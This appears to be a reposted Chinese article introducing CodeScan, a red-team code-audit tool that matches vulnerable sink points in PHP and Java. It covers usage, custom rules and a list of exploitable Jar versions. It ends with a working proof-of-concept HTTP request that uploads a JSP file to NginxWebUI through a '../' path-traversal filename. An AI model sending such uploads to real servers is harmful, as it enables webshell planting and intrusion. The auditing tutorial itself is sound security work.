声明
所提供的工具资料仅供学习之用。这些资料旨在帮助用户增进知识、提升技能,并促进个人成长与学习。用户在使用这些资料时,应严格遵守相关法律法规,不得将其用于任何非法、欺诈、侵权或其他不当用途。本人和团队不对用户因使用这些资料而产生的任何后果负责,包括但不限于因操作不当、误解资料内容或违反法律法规而导致的损失或损害。用户应自行承担使用这些资料的风险,并在使用前进行充分的了解和评估。
CodeScan
工具介绍
该工具目的为迅速匹配大多数不完整代码及其依赖中的Sink点,以辅助红队高效完成代码审计工作。开发该工具的初衷是基于Sink到Source的思路来开发,将全面识别所有可疑的Sink点,并结合直觉进行快速漏洞挖掘。且该工具具备高度的可扩展性,开发成本极低,目前工具已支持的语言有PHP,Java(JSP)
项目地址
https://github.com/Zjackky/CodeScan.git
安装方法
下载文件后,进入其所在目录。
在该目录下执行编译操作,会生成所有版本在releases下
./build.sh
特点功能
框架识别:能够识别多种开发框架。
Sink点匹配:广泛覆盖大部分安全漏洞的Sink点匹配机制。
黑白名单定制:支持自定义黑白名单内容,以满足个性化需求。
多模块多语言审计:提供多模块化的代码审计功能,并支持多种编程语言。
鉴权代码快速匹配:能够高效融入鉴权代码,实现快速匹配与抓取。
Jar静态分析:默认提供基于Jar包的静态分析功能,以深入检测代码潜在问题。
帮助文档
Usage of ./CodeScan_darwin_arm64:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
使用例子
CodeScan_windows_amd64.exe -L java -d ./net
CodeScan_windows_amd64.exe -L php -d ./net
CodeScan_windows_amd64.exe -d ./net -m "CheckSession.jsp"
使用方法
均以Java作为示例
高扩展性,自定义设置极为便捷,如果需要自定义某些匹配规则,首先可以在此处添加
其次如果需要新增漏洞类型(以SQL漏洞为例),仅需简单三步即可完成。
新建SQL目录
定义一个方法,命名为“SqlCheck”
编写一个名为“sqlcheck.txt”的文件 + 你自定义的规则
最后在这里加入包名+方法名即可
package SqlTest
import (
"CodeScan/FindFile"
"fmt"
)
func SqlCheck(dir string) {
FindFile.FindFileByJava(dir, "fastjson.txt", []string{".parseObject("})
fmt.Println("SqlCheck分析完成")
}
扫描位置
在打一些闭源代码的时候通常会遇到单个Jar包或Class文件,进行反编译时会把依赖一并反编译出来,所以为了避免因扫描依赖项而产生的误报情况,在工具内置了一份黑名单,用于过滤掉如下黑名单的包名,需要自定义的时候可自行修改,位置在CommonVul/Rule/MatchPathRule.go
var PathBlackJava = []string{
"apache", "lombok", "microsoft", "solr",
"amazonaws", "c3p0", "jodd", "afterturn", "hutool",
"javassist", "alibaba", "aliyuncs", "javax", "jackson",
"bytebuddy", "baomidou", "google", "netty", "redis", "mysql"
"logback", "ognl", "oracle", "sun", "junit", "reactor", "github",
"mchange", "taobao", "nimbusds", "opensymphony", "freemarker", "java", "apiguardian", "hibernate", "javassist", "jboss", "junit", "mybatis",
"springframework", "slf4j",
}
所以这也导致了一个问题,无法直接从顶层进行扫描
请把CodeScan放在Net的同级目录下进行扫描(否则Java目录会被直接忽略掉)
请把-d后面的参数尽量在/src/main/java之后,比如这里就需要把CodeScan放到net目录下开始扫描
CodeScan_windows_amd64.exe -L java -d ./net
过滤字符串(只写了JSP + PHP)
比如现在有一个代码百分百为鉴权代码,位于JSP中
<%@ include file="../../common/js/CheckSession.jsp"%>
此时可以用一下功能来进行快速获取未鉴权代码
CodeScan_windows_amd64.exe -d ./yuan -m "CheckSession.jsp"
此时会将不存在这个代码的文件都放到NoAuthDir目录中,然后可以再扫一遍就可以立刻定位到存在未鉴权并且存在Sink点的函数文件了
CodeScan_windows_amd64.exe -L java -d ./NoAuthDir
静态分析依赖情况
只需要在CodeScan的目录下放入EvilJarList.txt即可匹配出来
EvilJarList.txt 内容为存在可打漏洞的Jar,模版如下
fastjson-1.2.47.jar
resin-4.0.63.jar
jackson-core-2.13.3.jar
c3p0-0.9.5.2.jar
commons-beanutils-1.9.4.jar
commons-beanutils-1.9.3.jar
commons-beanutils-1.9.2.jar
commons-collections-3.2.1.jar
mysql-connector-java-8.0.17.jar
commons-collections4-4.0.jar
shiro-core-1.10.1.jar
aspectjweaver-1.9.5.jar
rome-1.0.jar
xstream-1.4.11.1.jar
sqlite-jdbc-3.8.9.jar
vaadin-server-7.7.14.jar
hessian-4.0.63.jar
使用案例
NginxWebui
先框架分析为Spring
任意文件上传
工具扫描出结果为
有时候代码就是可以直接秒的,这里发现transferTo 这个sink点就在控制层
找到
src/main/java/com/cym/controller/adminPage/MainController.java
这种名字可以进行跨目录上传
直接传即可上传成功
报文
POST /admiNPage/main/upload HTTP/1.1
Host: localhost:8080
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 0
Origin: http://localhost:8080
Referer: http://localhost:8080/adminPage/monitor
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
X-Requested-With: XMLHttpRequest
sec-ch-ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye8FPHsIAq9JN8j2A
------WebKitFormBoundarye8FPHsIAq9JN8j2A
Content-Disposition: form-data; name="file";filename="../3.jsp"
Content-Type: image/jpeg
<%out.print("test");%>
------WebKitFormBoundarye8FPHsIAq9JN8j2A—
原文始发于微信公众号(泷羽Sec-Ceo):CodeScan-代码扫描审计工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论